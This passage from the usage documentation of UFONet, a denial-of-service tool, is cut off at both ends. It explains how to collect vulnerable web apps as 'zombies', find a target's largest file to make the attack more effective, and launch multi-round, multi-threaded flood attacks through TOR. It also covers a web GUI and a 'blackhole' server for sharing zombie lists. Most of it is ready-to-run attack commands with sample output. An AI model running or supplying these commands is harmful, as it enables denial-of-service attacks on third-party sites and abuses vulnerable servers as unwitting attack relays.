file) and create a list of possible 'zombies'. Urls of the 'zombies' should be like this: http://target.com/check?uri= After that, launch it: ./ufonet -t zombies.txt You can order to 'zombies' to attack you and see how they reply to your needs using: ./ufonet --attack-me At the end of the process you will be asked if you want to update the list adding automatically only 'vulnerable' web apps. Wanna update your list (Y/n) If you reply 'Y', your file: zombies.txt will be updated. ------------- Examples: + with verbose: ./ufonet -t zombies.txt -v + with proxy TOR: ./ufonet -t zombies.txt --proxy="http://127.0.0.1:8118" + with threads: ./ufonet -t zombies.txt --threads 50Inspecting a target: This feature will provides you the biggest file on target: ./ufonet -i http://target.com You can use this when attacking to be more effective: ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx" ------------- Example: +input: ./ufonet -i http://target.com +output: [...] +Image found: images/wizard.jpg (Size: 63798 Bytes) ------------ +Style (.css) found: fonts.css (Size: 20448 Bytes) ------------ +Webpage (.php) found: contact.php (Size: 2483 Bytes) ------------ +Webpage (.php) found: about.php (Size: 1945 Bytes) ------------ +Webpage (.php) found: license.php (Size: 1996 Bytes) ------------ ================================================================================ =Biggest File: http://target.com/images/wizard.jpg ================================================================================Attacking a target: Enter a target to attack with a number of rounds: ./ufonet -a http://target.com -r 10 On this example UFONet will attacks the target a number of 10 times for each 'zombie'. That means that if you have a list of 1.000 'zombies' it will launchs 1.000 'zombies' x 10 rounds = 10.000 requests to the target. By default if you don't put any round it will apply only 1. Additionally, you can choose a place to recharge on target's site. For example, a large image, a big size file or a flash movie. In some scenarios where targets doesn't use cache systems this will do the attack more effective. ./ufonet -a http://target.com -b "/images/big_size_image.jpg" ------------- Examples: + with verbose: ./ufonet -a http://target.com -r 10 -v + with proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118" + with a place: ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg" + with threads: ./ufonet -a http://target.com -r 10 --threads 500Updating: UFONet implements an option to update the tool to the latest stable version. This feature can be used only if you have cloned it from GitHub repository To check your version you should launch: ./ufonet --update This will update the tool automatically, removing all files from your old package.GUI/Web Interface: You can manage UFONet using a Web interface. The tool has implemented a python web server connected to the core, to provides you a more user friendly experience. To launch it, use: ./ufonet --gui This will open a tab on your default browser with all features of the tool and some 'extra' options. Generating 'Blackhole': UFONet has some P2P options to share/keep 'zombies' with other 'motherships'. * Setup web server with a folder "ufonet", this folder should be: - located in /var/www/ufonet (default debian/ubuntu install) - owned by the user running the blackhole - accessible with http://your-ip/ufonet/ * Start the blackhole with: ./ufonet --blackhole (or python2 blackhole.py) * Anyone wanting to connect to your server needs